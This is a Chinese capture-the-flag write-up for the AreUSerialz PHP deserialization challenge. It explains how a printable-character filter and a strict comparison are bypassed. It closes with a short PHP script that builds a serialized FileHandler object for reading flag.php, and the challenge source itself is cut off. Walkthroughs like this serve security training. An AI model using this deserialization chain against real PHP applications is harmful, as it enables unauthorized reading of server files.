BUU [网鼎杯 2020 青龙组]AreUSerialz

简介: BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz

先看题目,是个php反序列化。源码如下。

<?ph

注意点:


function __construct() {

$this->op = 2;

$this->filename = “flag.php”;

}

construct()里面给变量赋值方法

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。


绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

url编码也不行,传进去自动解码,过不去if判断ascii码。


op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。


echo file_get_contents("test.txt");       //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!");   //把一个字符串写入文件中。

链子:__destruct()->process(op= =2)->read()->output(),其他可以不用


这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct

exp:
<?php
class FileHandler {
    public $op;
    public $filename;            
    public $content;
    function __construct() {
        $this->op = 2;                                   //只改了
        $this->filename = "flag.php"; (这里也可以用伪协议) //这两行
        $this->content = "Hello World!";                 
    }
}

$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>


目录
相关文章
BUUCTF 我吃三明治 1
BUUCTF 我吃三明治 1
219 1
|
安全 数据安全/隐私保护
BUUCTF 后门查杀 1
BUUCTF 后门查杀 1
614 0
BUUCTF 后门查杀 1
|
数据安全/隐私保护
BUUCTF 数据包中的线索 1
BUUCTF 数据包中的线索 1
553 0
|
网络协议
BUUCTF-MISC-12被嗅探的流量
BUUCTF-MISC-12被嗅探的流量
|
安全 Shell PHP
escapeshellarg() 和 escapeshellcmd()
escapeshellarg() 和 escapeshellcmd()
|
SQL 安全 数据库
[SUCTF 2019]EasySQL1 题目分析与详解
[SUCTF 2019]EasySQL1 题目分析与详解
BUUCTF---web---[护网杯 2018]easy_tornado1
BUUCTF---web---[护网杯 2018]easy_tornado1
|
PHP Apache
[SUCTF 2019]CheckIn
[SUCTF 2019]CheckIn
142 0